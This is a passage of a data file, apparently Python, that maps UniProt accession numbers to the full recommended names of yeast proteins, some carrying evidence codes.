'P36534' : ntuniprot(RecName_Full='54S ribosomal protein L40, mitochondrial'),
'P36775' : ntuniprot(RecName_Full='Lon protease homolog, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03120}'),
'P36973' : ntuniprot(RecName_Full='Adenine phosphoribosyltransferase 2'),
'P37012' : ntuniprot(RecName_Full='Phosphoglucomutase 2 {ECO:0000303|PubMed:5784209}'),
'P37020' : ntuniprot(RecName_Full='Anion/proton exchange transporter GEF1'),
'P37254' : ntuniprot(RecName_Full='Aminodeoxychorismate synthase'),
'P37261' : ntuniprot(RecName_Full='Fatty acid repression mutant protein 2'),
'P37262' : ntuniprot(RecName_Full='6-phosphogluconolactonase-like protein 2'),
'P37263' : ntuniprot(RecName_Full='UPF0743 protein YCR087C-A'),
'P37265' : ntuniprot(RecName_Full='Uncharacterized protein YCR041W'),
'P37267' : ntuniprot(RecName_Full='Assembly factor CBP4'),
'P37291' : ntuniprot(RecName_Full='Serine hydroxymethyltransferase, cytosolic'),
'P37292' : ntuniprot(RecName_Full='Serine hydroxymethyltransferase, mitochondrial'),
'P37293' : ntuniprot(RecName_Full='Putative N-terminal acetyltransferase 2'),
'P37296' : ntuniprot(RecName_Full='V-type proton ATPase subunit a, Golgi isoform'),
'P37297' : ntuniprot(RecName_Full='Phosphatidylinositol 4-kinase STT4'),
'P37298' : ntuniprot(RecName_Full='Succinate dehydrogenase [ubiquinone] cytochrome b small subunit, mitochondrial'),
'P37299' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit 10'),
'P37302' : ntuniprot(RecName_Full='Aminopeptidase Y'),
'P37303' : ntuniprot(RecName_Full='Low specificity L-threonine aldolase'),
'P37304' : ntuniprot(RecName_Full='Protein PAM1'),
'P37366' : ntuniprot(RecName_Full='Cyclin CCL1'),
'P37370' : ntuniprot(RecName_Full='Verprolin'),
'P37838' : ntuniprot(RecName_Full='Nucleolar protein 4'),
'P37898' : ntuniprot(RecName_Full='Alanine/arginine aminopeptidase'),
'P38009' : ntuniprot(RecName_Full='Bifunctional purine biosynthesis protein ADE17'),
'P38011' : ntuniprot(RecName_Full='Guanine nucleotide-binding protein subunit beta-like protein'),
'P38013' : ntuniprot(RecName_Full='Peroxiredoxin AHP1 {ECO:0000305}'),
'P38041' : ntuniprot(RecName_Full='Protein BOB1'),
'P38042' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit CDC27'),
'P38061' : ntuniprot(RecName_Full='60S ribosomal protein L32 {ECO:0000303|PubMed:9559554}'),
'P38063' : ntuniprot(RecName_Full='Ribose-phosphate pyrophosphokinase 4'),
'P38064' : ntuniprot(RecName_Full='54S ribosomal protein L16, mitochondrial'),
'P38065' : ntuniprot(RecName_Full='AP-2 complex subunit alpha'),
'P38066' : ntuniprot(RecName_Full='GTP cyclohydrolase-2'),
'P38067' : ntuniprot(RecName_Full='Succinate-semialdehyde dehydrogenase [NADP(+)]'),
'P38068' : ntuniprot(RecName_Full='Monothiol glutaredoxin-7'),
'P38069' : ntuniprot(RecName_Full='Alpha-1,2-mannosyltransferase MNN2'),
'P38070' : ntuniprot(RecName_Full='Serine/threonine-protein kinase YPK3 {ECO:0000305|PubMed:20702584}'),
'P38071' : ntuniprot(RecName_Full='Enoyl-[acyl-carrier-protein] reductase, mitochondrial {ECO:0000305}'),
'P38072' : ntuniprot(RecName_Full='Protein SCO2, mitochondrial'),
'P38073' : ntuniprot(RecName_Full='Transcriptional regulatory protein EDS1'),
'P38074' : ntuniprot(RecName_Full='Protein arginine N-methyltransferase 1 {ECO:0000303|PubMed:8647869}'),
'P38075' : ntuniprot(RecName_Full="Pyridoxamine 5'-phosphate oxidase"),
'P38077' : ntuniprot(RecName_Full='ATP synthase subunit gamma, mitochondrial'),
'P38079' : ntuniprot(RecName_Full='Protein YRO2'),
'P38080' : ntuniprot(RecName_Full='Serine/threonine-protein kinase AKL1'),
'P38081' : ntuniprot(RecName_Full='Uncharacterized glycosyl hydrolase YBR056W'),
'P38082' : ntuniprot(RecName_Full='Probable transcriptional regulator NRG2'),
'P38083' : ntuniprot(RecName_Full='Uncharacterized protein YBR063C'),
'P38084' : ntuniprot(RecName_Full='Leu/Val/Ile amino-acid permease'),
'P38085' : ntuniprot(RecName_Full='Valine/tyrosine/tryptophan amino-acid permease 1'),
'P38086' : ntuniprot(RecName_Full='DNA repair and recombination protein RDH54'),
'P38087' : ntuniprot(RecName_Full='Carrier protein YMC2, mitochondrial'),
'P38088' : ntuniprot(RecName_Full='Glycine--tRNA ligase 1, mitochondrial'),
'P38089' : ntuniprot(RecName_Full='Protein phosphatase 2C homolog 4'),
'P38090' : ntuniprot(RecName_Full='General amino acid permease AGP2'),
'P38109' : ntuniprot(RecName_Full='Putative serine carboxypeptidase YBR139W'),
'P38110' : ntuniprot(RecName_Full='Serine/threonine-protein kinase TEL1'),
'P38111' : ntuniprot(RecName_Full='Serine/threonine-protein kinase MEC1'),
'P38112' : ntuniprot(RecName_Full='ATP-dependent RNA helicase MAK5'),
'P38113' : ntuniprot(RecName_Full='Alcohol dehydrogenase 5'),
'P38114' : ntuniprot(RecName_Full='Uncharacterized transcriptional regulatory protein TBS1'),
'P38115' : ntuniprot(RecName_Full='D-arabinose dehydrogenase [NAD(P)+] heavy chain'),
'P38116' : ntuniprot(RecName_Full='ADP-ribosylation factor-like protein 1'),
'P38120' : ntuniprot(RecName_Full='37S ribosomal protein S9, mitochondrial'),
'P38121' : ntuniprot(RecName_Full='DNA polymerase alpha subunit B'),
'P38122' : ntuniprot(RecName_Full='3-methyl-2-oxobutanoate hydroxymethyltransferase'),
'P38123' : ntuniprot(RecName_Full='COMPASS component SWD3'),
'P38124' : ntuniprot(RecName_Full='Fluconazole resistance protein 1'),
'P38125' : ntuniprot(RecName_Full='Dityrosine transporter 1'),
'P38126' : ntuniprot(RecName_Full='Pachytene checkpoint protein 2'),
'P38127' : ntuniprot(RecName_Full='Mitochondrial carrier protein RIM2'),
'P38128' : ntuniprot(RecName_Full='Transcription factor SMP1'),
'P38129' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 5'),
'P38130' : ntuniprot(RecName_Full='Probable mannosyltransferase KTR3'),
'P38131' : ntuniprot(RecName_Full='Probable mannosyltransferase KTR4'),
'P38132' : ntuniprot(RecName_Full='DNA replication licensing factor MCM7'),
'P38137' : ntuniprot(RecName_Full='Peroxisomal-coenzyme A synthetase'),
'P38138' : ntuniprot(RecName_Full='Glucosidase 2 subunit alpha'),
'P38139' : ntuniprot(RecName_Full='Lipid droplet hydrolase 1'),
'P38140' : ntuniprot(RecName_Full='Transcription activator of gluconeogenesis ERT1'),
'P38141' : ntuniprot(RecName_Full='Thiamine biosynthesis regulatory protein'),
'P38142' : ntuniprot(RecName_Full='Probable metabolite transport protein YBR241C'),
'P38143' : ntuniprot(RecName_Full='Glutathione peroxidase-like peroxiredoxin 2 {ECO:0000303|PubMed:10480913}'),
'P38144' : ntuniprot(RecName_Full='ISWI chromatin-remodeling complex ATPase ISW1'),
'P38145' : ntuniprot(RecName_Full='Riboflavin synthase'),
'P38146' : ntuniprot(RecName_Full='GTP-binding protein YPT10'),
'P38147' : ntuniprot(RecName_Full='Serine/threonine-protein kinase CHK1'),
'P38148' : ntuniprot(RecName_Full='Dual specificity protein phosphatase PPS1'),
'P38149' : ntuniprot(RecName_Full='Probable di- and tripeptidase DUG2'),
'P38150' : ntuniprot(RecName_Full='Inactive deaminase YBR284W'),
'P38151' : ntuniprot(RecName_Full='PAB1-binding protein 2'),
'P38152' : ntuniprot(RecName_Full='Tricarboxylate transport protein'),
'P38153' : ntuniprot(RecName_Full='AP-3 complex subunit mu'),
'P38155' : ntuniprot(RecName_Full='Seripauperin-24'),
'P38156' : ntuniprot(RecName_Full='Maltose permease MAL31'),
'P38157' : ntuniprot(RecName_Full='Maltose fermentation regulatory protein MAL33'),
'P38158' : ntuniprot(RecName_Full='Alpha-glucosidase MAL32'),
'P38162' : ntuniprot(RecName_Full='Mitochondrial intermembrane space cysteine motif-containing protein MIX23'),
'P38163' : ntuniprot(RecName_Full='Lethal(2) giant larvae protein homolog SRO77'),
'P38164' : ntuniprot(RecName_Full='SEH-associated protein 4'),
'P38165' : ntuniprot(RecName_Full='Retrograde regulation protein 3'),
'P38166' : ntuniprot(RecName_Full='Protein transport protein SFT2'),
'P38167' : ntuniprot(RecName_Full='Protein ECM21'),
'P38169' : ntuniprot(RecName_Full='Kynurenine 3-monooxygenase {ECO:0000255|HAMAP-Rule:MF_03018}'),
'P38170' : ntuniprot(RecName_Full='Condensin complex subunit 2'),
'P38172' : ntuniprot(RecName_Full='MIOREX complex component 3 {ECO:0000305|PubMed:25683707}'),
'P38174' : ntuniprot(RecName_Full='Methionine aminopeptidase 2 {ECO:0000255|HAMAP-Rule:MF_03175}'),
'P38175' : ntuniprot(RecName_Full='37S ribosomal protein MRP21, mitochondrial'),
'P38176' : ntuniprot(RecName_Full='Vacuolar amino acid transporter 5'),
'P38177' : ntuniprot(RecName_Full='Uncharacterized protein YBL086C'),
'P38179' : ntuniprot(RecName_Full='Dol-P-Man:Man(5)GlcNAc(2)-PP-Dol alpha-1,3-mannosyltransferase'),
'P38180' : ntuniprot(RecName_Full='Uncharacterized protein YBL081W'),
'P38181' : ntuniprot(RecName_Full='Nucleoporin NUP170'),
'P38182' : ntuniprot(RecName_Full='Autophagy-related protein 8'),
'P38185' : ntuniprot(RecName_Full='Uncharacterized protein YBL071C'),
'P38187' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 13'),
'P38191' : ntuniprot(RecName_Full='Protein yippee-like MOH1'),
'P38193' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 4 regulatory subunit 2'),
'P38194' : ntuniprot(RecName_Full='Uncharacterized protein YBL044W'),
'P38195' : ntuniprot(RecName_Full='Protein ECM13'),
'P38196' : ntuniprot(RecName_Full='Uridine permease'),
'P38197' : ntuniprot(RecName_Full='Pyridoxal phosphate homeostasis protein {ECO:0000255|HAMAP-Rule:MF_03225}'),
'P38198' : ntuniprot(RecName_Full='Protein STU1'),
'P38199' : ntuniprot(RecName_Full='Heterogeneous nuclear rnp K-like protein 2'),
'P38200' : ntuniprot(RecName_Full='Mitotic spindle-associated protein SHE1'),
'P38201' : ntuniprot(RecName_Full='Uncharacterized protein YBL029W'),
'P38202' : ntuniprot(RecName_Full='UPF0642 protein YBL028C'),
'P38203' : ntuniprot(RecName_Full='U6 snRNA-associated Sm-like protein LSm2'),
'P38204' : ntuniprot(RecName_Full='RNA polymerase I-specific transcription initiation factor RRN10'),
'P38205' : ntuniprot(RecName_Full='Multisite-specific tRNA:(cytosine-C(5))-methyltransferase'),
'P38206' : ntuniprot(RecName_Full='Oligosaccharide translocation protein RFT1'),
'P38207' : ntuniprot(RecName_Full='DNA-(apurinic or apyrimidinic site) lyase 2'),
'P38208' : ntuniprot(RecName_Full='Ribonucleases P/MRP protein subunit POP8'),
'P38210' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex protein RSC14'),
'P38211' : ntuniprot(RecName_Full='GPI mannosyltransferase 2'),
'P38212' : ntuniprot(RecName_Full='Protein RCR1'),
'P38213' : ntuniprot(RecName_Full='Protein DSF2'),
'P38215' : ntuniprot(RecName_Full='Putative uncharacterized protein YBR013C'),
'P38216' : ntuniprot(RecName_Full='Uncharacterized protein YBR016W'),
'P38217' : ntuniprot(RecName_Full='Importin subunit beta-2 {ECO:0000250|UniProtKB:Q92973}'),
'P38218' : ntuniprot(RecName_Full="ADP-ribose 1''-phosphate phosphatase"),
'P38219' : ntuniprot(RecName_Full='Obg-like ATPase 1 {ECO:0000255|HAMAP-Rule:MF_03167}'),
'P38220' : ntuniprot(RecName_Full='Uncharacterized protein YBR027C'),
'P38221' : ntuniprot(RecName_Full='Phosphatidate cytidylyltransferase'),
'P38222' : ntuniprot(RecName_Full='Ribosomal lysine N-methyltransferase 3 {ECO:0000303|PubMed:18957409}'),
'P38223' : ntuniprot(RecName_Full='Uncharacterized protein YBR032W'),
'P38224' : ntuniprot(RecName_Full='Factor-induced gene 1 protein'),
'P38225' : ntuniprot(RecName_Full='Very long-chain fatty acid transport protein'),
'P38226' : ntuniprot(RecName_Full='Uncharacterized acyltransferase CST26'),
'P38227' : ntuniprot(RecName_Full='Quinidine resistance protein 3'),
'P38228' : ntuniprot(RecName_Full='Mitochondrial chaperone TCM62'),
'P38229' : ntuniprot(RecName_Full='GLC7-interacting protein 1'),
'P38230' : ntuniprot(RecName_Full='Probable quinone oxidoreductase'),
'P38231' : ntuniprot(RecName_Full='Protein FMP23, mitochondrial'),
'P38232' : ntuniprot(RecName_Full='Protein REG2'),
'P38234' : ntuniprot(RecName_Full='Protein RFS1'),
'P38235' : ntuniprot(RecName_Full='Uncharacterized protein YBR053C'),
'P38236' : ntuniprot(RecName_Full='Protein MUM2'),
'P38237' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 14'),
'P38238' : ntuniprot(RecName_Full="tRNA (cytidine(32)/guanosine(34)-2'-O)-methyltransferase"),
'P38239' : ntuniprot(RecName_Full='Uncharacterized RING finger protein YBR062C'),
'P38241' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SLT11'),
'P38242' : ntuniprot(RecName_Full='UDP-N-acetylglucosamine transferase subunit ALG14'),
'P38243' : ntuniprot(RecName_Full='Uncharacterized protein YBR071W'),
'P38244' : ntuniprot(RecName_Full='Vacuolar membrane protease {ECO:0000305|PubMed:23679341}'),
'P38246' : ntuniprot(RecName_Full='Protein ECM8'),
'P38247' : ntuniprot(RecName_Full='Protein SLM4'),
'P38248' : ntuniprot(RecName_Full='Cell wall protein ECM33'),
'P38249' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 3 subunit A {ECO:0000255|HAMAP-Rule:MF_03000}'),
'P38250' : ntuniprot(RecName_Full='Increased sodium tolerance protein 2'),
'P38251' : ntuniprot(RecName_Full='Replication factor C subunit 5'),
'P38253' : ntuniprot(RecName_Full='Uncharacterized protein YBR090C'),
'P38254' : ntuniprot(RecName_Full='Probable tubulin--tyrosine ligase PBY1'),
'P38255' : ntuniprot(RecName_Full='Transcriptional regulatory protein RXT2'),
'P38256' : ntuniprot(RecName_Full='Uncharacterized protein YBR096W'),
'P38257' : ntuniprot(RecName_Full='Crossover junction endonuclease MMS4'),
'P38260' : ntuniprot(RecName_Full='Hsp70 nucleotide exchange factor FES1'),
'P38261' : ntuniprot(RecName_Full='Exocyst complex component EXO84'),
'P38262' : ntuniprot(RecName_Full='SIR4-interacting protein SIF2'),
'P38263' : ntuniprot(RecName_Full='Vacuolar import and degradation protein 24'),
'P38264' : ntuniprot(RecName_Full='SRP-independent targeting protein 3 {ECO:0000303|PubMed:27905431}'),
'P38265' : ntuniprot(RecName_Full='Inner kinetochore subunit IML3 {ECO:0000305}'),
'P38266' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 3'),
'P38270' : ntuniprot(RecName_Full='Autophagy-related protein 14'),
'P38271' : ntuniprot(RecName_Full='Protein OPY1'),
'P38272' : ntuniprot(RecName_Full='SWI5-dependent HO expression protein 3'),
'P38273' : ntuniprot(RecName_Full='Vacuolar fusion protein CCZ1'),
'P38274' : ntuniprot(RecName_Full='Protein arginine N-methyltransferase HSL7 {ECO:0000305|PubMed:10903903}'),
'P38276' : ntuniprot(RecName_Full='UPF0303 protein YBR137W'),
'P38277' : ntuniprot(RecName_Full='Uncharacterized protein YBR138C'),
'P38278' : ntuniprot(RecName_Full='25S rRNA (adenine(2142)-N(1))-methyltransferase {ECO:0000255|HAMAP-Rule:MF_03044}'),
'P38279' : ntuniprot(RecName_Full='Probable vacuolar amino acid transporter YPQ3'),
'P38280' : ntuniprot(RecName_Full='Spore-specific protein YSW1'),
'P38281' : ntuniprot(RecName_Full='Actin patches distal protein 1'),
'P38282' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SPP381'),
'P38283' : ntuniprot(RecName_Full='Inner centromere protein-related protein SLI15'),
'P38284' : ntuniprot(RecName_Full='Increased copper sensitivity protein 2'),
'P38285' : ntuniprot(RecName_Full='Antagonist of mitotic exit network protein 1'),
'P38286' : ntuniprot(RecName_Full='Very-long-chain 3-oxoacyl-CoA reductase {ECO:0000255|HAMAP-Rule:MF_03107}'),
'P38287' : ntuniprot(RecName_Full='Mannosyl phosphorylinositol ceramide synthase CSH1'),
'P38288' : ntuniprot(RecName_Full='Protein TOS1'),
'P38289' : ntuniprot(RecName_Full='Exonuclease V, mitochondrial'),
'P38290' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme suppressor 1'),
'P38291' : ntuniprot(RecName_Full='Ribonucleases P/MRP protein subunit POP7'),
'P38292' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX32'),
'P38293' : ntuniprot(RecName_Full='Proteasome maturation factor UMP1'),
'P38295' : ntuniprot(RecName_Full='Medium-chain fatty acid ethyl ester synthase/esterase 2'),
'P38297' : ntuniprot(RecName_Full='Mitofusin FZO1'),
'P38298' : ntuniprot(RecName_Full='Alkaline ceramidase YPC1'),
'P38299' : ntuniprot(RecName_Full='Uncharacterized protein YBR184W'),
'P38300' : ntuniprot(RecName_Full='Inner membrane mitoribosome receptor MBA1, mitochondrial {ECO:0000303|PubMed:25609543}'),
'P38301' : ntuniprot(RecName_Full='GCR1-dependent translation factor 1'),
'P38302' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor NTC20'),
'P38304' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 8'),
'P38305' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 4'),
'P38306' : ntuniprot(RecName_Full='Uncharacterized protein YBR197C'),
'P38307' : ntuniprot(RecName_Full='Degradation in the endoplasmic reticulum protein 1'),
'P38308' : ntuniprot(RecName_Full='F-box protein COS111'),
'P38310' : ntuniprot(RecName_Full='Iron transporter FTH1'),
'P38312' : ntuniprot(RecName_Full='ER-derived vesicles protein ERV15'),
'P38313' : ntuniprot(RecName_Full='Inner kinetochore subunit AME1 {ECO:0000305}'),
'P38314' : ntuniprot(RecName_Full='Protein SDS24'),
'P38315' : ntuniprot(RecName_Full='YAP1-binding protein 1'),
'P38316' : ntuniprot(RecName_Full='Ubiquitin-like protein ATG12'),
'P38317' : ntuniprot(RecName_Full='Uncharacterized protein YBR219C'),
'P38318' : ntuniprot(RecName_Full='Uncharacterized membrane protein YBR220C'),
'P38319' : ntuniprot(RecName_Full='Tyrosyl-DNA phosphodiesterase 1'),
'P38321' : ntuniprot(RecName_Full='Uncharacterized protein YBR225W'),
'P38323' : ntuniprot(RecName_Full='ATP-dependent clpX-like chaperone, mitochondrial {ECO:0000305|PubMed:9827555}'),
'P38324' : ntuniprot(RecName_Full='Structure-specific endonuclease subunit SLX1 {ECO:0000255|HAMAP-Rule:MF_03100}'),
'P38325' : ntuniprot(RecName_Full='Mitochondrial outer membrane protein OM14'),
'P38326' : ntuniprot(RecName_Full='SWR1-complex protein 5'),
'P38328' : ntuniprot(RecName_Full='Actin-related protein 2/3 complex subunit 1'),
'P38329' : ntuniprot(RecName_Full='Vacuolar cation-chloride cotransporter 1 {ECO:0000305|PubMed:23022132}'),
'P38330' : ntuniprot(RecName_Full='Protein RMD9-like, mitochondrial'),
'P38331' : ntuniprot(RecName_Full='HD domain-containing protein YBR242W'),
'P38332' : ntuniprot(RecName_Full='Diphthine methyltransferase'),
'P38333' : ntuniprot(RecName_Full='Essential nuclear protein 1'),
'P38334' : ntuniprot(RecName_Full='Trafficking protein particle complex subunit 20'),
'P38335' : ntuniprot(RecName_Full='Maintenance of telomere capping protein 4'),
'P38336' : ntuniprot(RecName_Full='RNases MRP/P 32.9 kDa subunit'),
'P38337' : ntuniprot(RecName_Full='COMPASS component SHG1'),
'P38338' : ntuniprot(RecName_Full='Uncharacterized protein YBR259W'),
'P38339' : ntuniprot(RecName_Full='RHO GTPase-activating protein RGD1'),
'P38340' : ntuniprot(RecName_Full='Alpha N-terminal protein methyltransferase 1'),
'P38341' : ntuniprot(RecName_Full='MICOS complex subunit MIC12'),
'P38342' : ntuniprot(RecName_Full='3-ketodihydrosphingosine reductase TSC10'),
'P38344' : ntuniprot(RecName_Full='Cytoplasmic 60S subunit biogenesis factor REI1'),
'P38345' : ntuniprot(RecName_Full='Succinate dehydrogenase assembly factor 4, mitochondrial {ECO:0000303|PubMed:24954416}'),
'P38346' : ntuniprot(RecName_Full='Probable target of rapamycin complex 2 subunit BIT2'),
'P38347' : ntuniprot(RecName_Full='Protein-lysine N-methyltransferase EFM2 {ECO:0000305|PubMed:22522802}'),
'P38348' : ntuniprot(RecName_Full='DNA mismatch repair protein HSM3'),
'P38349' : ntuniprot(RecName_Full='UBX domain-containing protein 7'),
'P38351' : ntuniprot(RecName_Full='RNA polymerase II-associated protein 1'),
'P38352' : ntuniprot(RecName_Full='SCF-associated factor 1'),
'P38353' : ntuniprot(RecName_Full='Sec sixty-one protein homolog'),
'P38354' : ntuniprot(RecName_Full='Putative uncharacterized protein YBR285W'),
'P38355' : ntuniprot(RecName_Full='Uncharacterized transporter YBR287W'),
'P38356' : ntuniprot(RecName_Full='Metal homeostatis protein BSD2'),
'P38358' : ntuniprot(RecName_Full='Vacuolar basic amino acid transporter 2'),
'P38359' : ntuniprot(RecName_Full='Sulfate permease 1'),
'P38360' : ntuniprot(RecName_Full='P-type cation-transporting ATPase'),
'P38361' : ntuniprot(RecName_Full='Phosphate permease PHO89'),
'P38374' : ntuniprot(RecName_Full='Protein YSY6'),
'P38426' : ntuniprot(RecName_Full='Trehalose synthase complex regulatory subunit TPS3'),
'P38427' : ntuniprot(RecName_Full='Trehalose synthase complex regulatory subunit TSL1'),
'P38428' : ntuniprot(RecName_Full='Coupling of ubiquitin conjugation to ER degradation protein 1'),
'P38429' : ntuniprot(RecName_Full='Transcriptional regulatory protein SAP30'),
'P38430' : ntuniprot(RecName_Full='Uncharacterized deoxyribonuclease YMR262W'),
'P38431' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 5'),
'P38439' : ntuniprot(RecName_Full='RNA polymerase-associated protein LEO1'),
'P38523' : ntuniprot(RecName_Full='GrpE protein homolog, mitochondrial'),
'P38555' : ntuniprot(RecName_Full='GTP-binding protein YPT31/YPT8'),
'P38590' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase MSG5'),
'P38604' : ntuniprot(RecName_Full='Lanosterol synthase'),
'P38615' : ntuniprot(RecName_Full='Serine/threonine-protein kinase RIM11/MSD1'),
'P38616' : ntuniprot(RecName_Full='Protein YGP1'),
'P38620' : ntuniprot(RecName_Full='Ribose-phosphate pyrophosphokinase 2'),
'P38622' : ntuniprot(RecName_Full='Serine/threonine-protein kinase RCK1'),
'P38623' : ntuniprot(RecName_Full='Serine/threonine-protein kinase RCK2'),
'P38624' : ntuniprot(RecName_Full='Proteasome subunit beta type-1'),
'P38625' : ntuniprot(RecName_Full='GMP synthase [glutamine-hydrolyzing]'),
'P38626' : ntuniprot(RecName_Full='NADH-cytochrome b5 reductase 1'),
'P38627' : ntuniprot(RecName_Full='CTP synthase 2'),
'P38628' : ntuniprot(RecName_Full='Phosphoacetylglucosamine mutase {ECO:0000305}'),
'P38629' : ntuniprot(RecName_Full='Replication factor C subunit 3'),
'P38630' : ntuniprot(RecName_Full='Replication factor C subunit 1'),
'P38631' : ntuniprot(RecName_Full='1,3-beta-glucan synthase component FKS1'),
'P38632' : ntuniprot(RecName_Full='E3 SUMO-protein ligase MMS21'),
'P38633' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 31'),
'P38634' : ntuniprot(RecName_Full='Protein SIC1'),
'P38635' : ntuniprot(RecName_Full='Histidinol-phosphatase'),
'P38636' : ntuniprot(RecName_Full='Metal homeostasis factor ATX1'),
'P38637' : ntuniprot(RecName_Full='Tethering factor for nuclear proteasome STS1'),
'P38682' : ntuniprot(RecName_Full='ADP-ribosylation factor GTPase-activating protein GLO3'),
'P38687' : ntuniprot(RecName_Full='Signal recognition particle subunit SRP68'),
'P38688' : ntuniprot(RecName_Full='Signal recognition particle subunit SRP72'),
'P38689' : ntuniprot(RecName_Full='Ribose-phosphate pyrophosphokinase 3'),
'P38690' : ntuniprot(RecName_Full='Uncharacterized protein YHR033W'),
'P38691' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KSP1'),
'P38692' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KIC1'),
'P38693' : ntuniprot(RecName_Full='Acid phosphatase PHO12'),
'P38694' : ntuniprot(RecName_Full='Putative aldehyde dehydrogenase-like protein YHR039C'),
'P38695' : ntuniprot(RecName_Full='Probable glucose transporter HXT5'),
'P38696' : ntuniprot(RecName_Full='Centractin'),
'P38697' : ntuniprot(RecName_Full="Inosine-5'-monophosphate dehydrogenase 2 {ECO:0000255|HAMAP-Rule:MF_03156}"),
'P38698' : ntuniprot(RecName_Full='Exopolyphosphatase'),
'P38699' : ntuniprot(RecName_Full='Protein STB5'),
'P38700' : ntuniprot(RecName_Full='Adaptin medium chain homolog APM2'),
'P38701' : ntuniprot(RecName_Full='40S ribosomal protein S20 {ECO:0000303|PubMed:9559554}'),
'P38702' : ntuniprot(RecName_Full='Mitochondrial carrier protein LEU5'),
'P38703' : ntuniprot(RecName_Full='Sphingosine N-acyltransferase LAG1'),
'P38704' : ntuniprot(RecName_Full='Transcription factor STP2'),
'P38705' : ntuniprot(RecName_Full='Serine--tRNA ligase, mitochondrial'),
'P38707' : ntuniprot(RecName_Full='Asparagine--tRNA ligase, cytoplasmic'),
'P38708' : ntuniprot(RecName_Full='Putative proline--tRNA ligase YHR020W'),
'P38709' : ntuniprot(RecName_Full='Probable UTP--glucose-1-phosphate uridylyltransferase'),
'P38710' : ntuniprot(RecName_Full='Inositol monophosphatase 1'),
'P38711' : ntuniprot(RecName_Full='40S ribosomal protein S27-B {ECO:0000303|PubMed:9559554}'),
'P38712' : ntuniprot(RecName_Full='ATP-dependent rRNA helicase RRP3 {ECO:0000305}'),
'P38713' : ntuniprot(RecName_Full='Oxysterol-binding protein homolog 3'),
'P38714' : ntuniprot(RecName_Full='Arginine--tRNA ligase, mitochondrial'),
'P38715' : ntuniprot(RecName_Full='NADPH-dependent aldose reductase GRE3 {ECO:0000305|PubMed:11525399}'),
'P38716' : ntuniprot(RecName_Full='Uncharacterized trans-sulfuration enzyme YHR112C'),
'P38717' : ntuniprot(RecName_Full='Membrane-anchored lipid-binding protein SIP3 {ECO:0000303|PubMed:26001273}'),
'P38719' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP8'),
'P38720' : ntuniprot(RecName_Full='6-phosphogluconate dehydrogenase, decarboxylating 1'),
'P38721' : ntuniprot(RecName_Full='Uncharacterized protein YHL050C'),
'P38722' : ntuniprot(RecName_Full='Uncharacterized protein YHL049C'),
'P38723' : ntuniprot(RecName_Full='Protein COS8'),
'P38724' : ntuniprot(RecName_Full='Siderophore iron transporter ARN2'),
'P38725' : ntuniprot(RecName_Full='Seripauperin-13'),
'P38727' : ntuniprot(RecName_Full='DUP240 protein YHL044W'),
'P38728' : ntuniprot(RecName_Full='Protein ECM34'),
'P38729' : ntuniprot(RecName_Full='Putative uncharacterized protein YHL042W'),
'P38731' : ntuniprot(RecName_Full='Siderophore iron transporter ARN1'),
'P38732' : ntuniprot(RecName_Full='Protein-lysine N-methyltransferase EFM1 {ECO:0000305|PubMed:20510667}'),
'P38734' : ntuniprot(RecName_Full='Low-affinity methionine permease'),
'P38735' : ntuniprot(RecName_Full='ABC transporter ATP-binding protein/permease VMR1'),
'P38736' : ntuniprot(RecName_Full='Golgi SNAP receptor complex member 1'),
'P38737' : ntuniprot(RecName_Full='Proteasome component ECM29'),
'P38738' : ntuniprot(RecName_Full='Oxidant-induced cell-cycle arrest protein 5'),
'P38739' : ntuniprot(RecName_Full='Cell wall integrity and stress response component 4'),
'P38740' : ntuniprot(RecName_Full='Uncharacterized protein YHL026C'),
'P38741' : ntuniprot(RecName_Full='Meiotic activator RIM4'),
'P38742' : ntuniprot(RecName_Full='Nitrogen permease regulator 3'),
'P38744' : ntuniprot(RecName_Full='Putative pterin-4-alpha-carbinolamine dehydratase'),
'P38745' : ntuniprot(RecName_Full='Uncharacterized membrane protein YHL071W'),
'P38746' : ntuniprot(RecName_Full='Obg-like ATPase homolog'),
'P38747' : ntuniprot(RecName_Full='OTU domain-containing protein 2'),
'P38748' : ntuniprot(RecName_Full='RING finger protein ETP1'),
'P38749' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP3'),
'P38750' : ntuniprot(RecName_Full='Uncharacterized transporter YHL008C'),
'P38751' : ntuniprot(RecName_Full='Suppressor of HU sensitivity involved in recombination protein 1'),
'P38753' : ntuniprot(RecName_Full='Class E vacuolar protein-sorting machinery protein HSE1'),
'P38754' : ntuniprot(RecName_Full='60S ribosomal protein L14-B {ECO:0000303|PubMed:9559554}'),
'P38755' : ntuniprot(RecName_Full='Oxysterol-binding protein homolog 7'),
'P38756' : ntuniprot(RecName_Full='tRNA threonylcarbamoyladenosine dehydratase 1'),
'P38757' : ntuniprot(RecName_Full='Nuclear envelope morphology protein 1'),
'P38758' : ntuniprot(RecName_Full='Putative oxidoreductase TDA3'),
'P38759' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 29'),
'P38760' : ntuniprot(RecName_Full='RNA-binding protein MIP6'),
'P38763' : ntuniprot(RecName_Full='Uncharacterized protein YHR022C'),
'P38764' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN1'),
'P38765' : ntuniprot(RecName_Full='Uncharacterized isomerase YHI9'),
'P38766' : ntuniprot(RecName_Full='ATP-dependent DNA helicase RRM3 {ECO:0000255|HAMAP-Rule:MF_03177}'),
